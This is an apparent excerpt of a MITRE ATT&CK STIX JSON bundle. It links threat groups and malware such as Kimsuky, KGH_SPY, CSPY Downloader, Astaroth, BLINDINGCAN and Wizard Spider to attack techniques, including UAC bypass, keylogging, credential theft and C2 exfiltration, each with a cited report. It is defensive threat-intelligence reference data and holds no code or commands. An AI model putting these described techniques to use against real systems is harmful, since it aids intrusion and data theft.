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        {
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            ],
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            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used modified versions of open source PHP web shells to maintain access, often adding \"Dinosaur\" references within the code.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--f873875b-5be1-4a6d-81aa-d61a922df087",
            "type": "relationship",
            "modified": "2021-04-23T02:34:45.382Z",
            "created": "2020-11-05T15:54:26.066Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "relationship_type": "subtechnique-of",
            "id": "relationship--c2fc4ab7-303c-4359-9504-c55e94ea9aab",
            "type": "relationship",
            "modified": "2020-11-05T16:01:29.588Z",
            "created": "2020-11-05T16:01:29.588Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b",
            "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
            "external_references": [
                {
                    "url": "https://vms.drweb.com/virus/?i=4276269",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has installed itself as an autostart entry under <code>~/.config/autostart/dbus-inotifier.desktop</code> to establish persistence.(Citation: Fysbis Dr Web Analysis)",
            "relationship_type": "uses",
            "id": "relationship--eed67968-2d71-4394-84a9-1240d9ba6a83",
            "type": "relationship",
            "modified": "2020-11-06T14:23:21.893Z",
            "created": "2020-11-06T14:23:21.893Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used modified versions of PHProxy to examine web traffic between the victim and the accessed website.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--81c1e9d6-f478-4adb-af70-cc92e8094e8a",
            "type": "relationship",
            "modified": "2020-11-06T18:02:10.449Z",
            "created": "2020-11-06T18:02:10.449Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--0f36ee85-8906-40c6-be53-87bc96499763",
            "type": "relationship",
            "modified": "2020-11-06T18:02:10.532Z",
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        {
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a Mac OS Python implant to gather data.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--f8372a2e-6db4-4353-9635-b1fcac9f90ed",
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            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
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                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used e-mail to send exfiltrated data to C2 servers.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--a573685b-3135-44ae-9f9a-844dfc5bdaa2",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has set auto-forward rules on victim's e-mail accounts.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--e8523d2e-2552-4d14-8980-dde0923c803d",
            "type": "relationship",
            "modified": "2020-11-06T18:17:30.524Z",
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        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
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                {
                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf",
                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
                    "source_name": "Cobalt Strike TTPs Dec 2017"
                },
                {
                    "source_name": "Talos Cobalt Strike September 2020",
                    "url": " https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf",
                    "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021."
                }
            ],
            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a command-line interface to interact with systems.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Talos Cobalt Strike September 2020)",
            "relationship_type": "uses",
            "id": "relationship--fc901b6f-3575-443c-9ba3-32ca1bebf7af",
            "type": "relationship",
            "modified": "2021-04-07T14:04:32.016Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
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                }
            ],
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
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                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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                {
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                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
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                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
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                {
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                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
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                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
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                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
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                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
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                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target",
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                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-strike/",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
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                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
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                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "source_name": "Crowdstrike Global Threat Report Feb 2018"
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                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
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        },
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can execute PowerShell commands on the victim's machine.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--ce8eb6bf-11cc-4d9f-a81a-57bd1422efb1",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to download and execute code from remote servers.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can send data to C2 with HTTP POST requests.(Citation: Cybereason Kimsuky November 2020)",
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                {
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can send a file containing victim system information to C2.(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can exfiltrate collected information from the host to the C2 server.(Citation: Cybereason Kimsuky November 2020)",
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can enumerate files and directories on a compromised host.(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has masqueraded as a legitimate Windows tool.(Citation: Cybereason Kimsuky November 2020)",
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            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can harvest data from mail clients.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from WINSCP.(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can perform keylogging by polling the <code>GetAsyncKeyState()</code> function.(Citation: Cybereason Kimsuky November 2020)",
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            "id": "relationship--e7e2eed9-ef15-4b6b-890b-72d2b47ca685",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can use the schtasks utility to bypass UAC.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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            "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "external_references": [
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.(Citation: Cybereason Kimsuky November 2020)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--62a81aa2-bba1-47f3-81bc-ddc1912e2540",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
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                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can use GET requests to download additional payloads from C2.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can download additional tools to a compromised host.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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        {
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            "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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            "modified": "2020-11-09T14:52:45.740Z",
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        },
        {
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            ],
            "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has come signed with revoked certificates.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5c7bb53e-d396-4b7e-a925-4a928acc0762",
            "type": "relationship",
            "modified": "2020-11-09T14:52:45.773Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been packed with UPX.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been delivered via malicious documents with embedded macros.(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to self delete.(Citation: Cybereason Kimsuky November 2020)",
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                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can write to the Registry under the <code>%windir%</code> variable to execute tasks.(Citation: Cybereason Kimsuky November 2020)",
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            "id": "relationship--4d58ff48-b6d8-48ba-aa29-2f34d4dc1264",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) can launch itself via DLL Search Order Hijacking.(Citation: Securelist Brazilian Banking Malware July 2020)",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.(Citation: Securelist Brazilian Banking Malware July 2020)",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.(Citation: Securelist Brazilian Banking Malware July 2020)",
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            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used malicious VBS e-mail attachments for execution.(Citation: Securelist Brazilian Banking Malware July 2020)",
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                }
            ],
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
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                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) has been delivered via malicious e-mail attachments.(Citation: Securelist Brazilian Banking Malware July 2020)",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) can abuse alternate data streams (ADS) to store content for malicious payloads.(Citation: Securelist Brazilian Banking Malware July 2020)",
            "relationship_type": "uses",
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                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.",
                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "source_name": "Cybereason Astaroth Feb 2019"
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used a DGA in C2 communications.(Citation: Cybereason Astaroth Feb 2019)",
            "relationship_type": "uses",
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                    "source_name": "NHS UK BLINDINGCAN Aug 2020",
                    "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603",
                    "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020."
                },
                {
                    "source_name": "US-CERT BLINDINGCAN Aug 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a",
                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."
                }
            ],
            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has sent user and system information to a C2 server via HTTP POST requests.(Citation: NHS UK BLINDINGCAN Aug 2020)(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has obfuscated code using Base64 encoding.(Citation: US-CERT BLINDINGCAN Aug 2020)",
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                }
            ],
            "description": " [BLINDINGCAN](https://attack.mitre.org/software/S0520) has uploaded files from victim machines.(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
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                }
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            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been signed with code-signing certificates such as CodeRipper.(Citation: US-CERT BLINDINGCAN Aug 2020)",
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            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
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                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
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                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has gained access to credentials via exported copies of the ntds.dit Active Directory database.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--a1e10048-626c-4e64-9bdb-fd576be8c19f",
            "type": "relationship",
            "modified": "2020-11-10T15:39:49.368Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims into clicking a malicious link delivered through spearphishing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)",
            "relationship_type": "uses",
            "id": "relationship--b9dcab92-6b0d-43c7-a122-90eccb016b9d",
            "type": "relationship",
            "modified": "2020-11-10T15:39:49.375Z",
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        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
